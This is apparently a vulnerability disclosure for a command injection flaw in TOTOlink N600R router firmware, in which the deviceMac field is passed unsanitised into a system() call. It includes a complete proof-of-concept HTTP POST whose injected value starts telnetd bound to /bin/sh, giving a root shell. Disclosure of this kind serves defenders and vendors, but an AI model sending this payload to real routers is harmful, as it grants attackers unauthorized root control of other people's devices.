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April 6, 2022 18:46
April 6, 2022 18:46
April 6, 2022 18:46

TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

1. Affected version

image-20220406182121036

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220406182157157

The content obtained by the program through the devicemac parameter is passed to V6, and then the content matched by V6 is formatted into v18 through the sprintf function. Finally, v18 is executed through the system function. There is a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V5.3c.7159_B20190425
  2. Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 145
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647874864:2
Connection: close

{
	"topicurl":"setting/setDeviceName",
	"file_exist":"1",
	"num":"1",
	"deviceMac":"';telnetd -l /bin/sh -p 10002;'",
	"deviceName":"zoe"
}

The reproduction results are as follows:

image-20220406182332040

image-20220406182346217

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell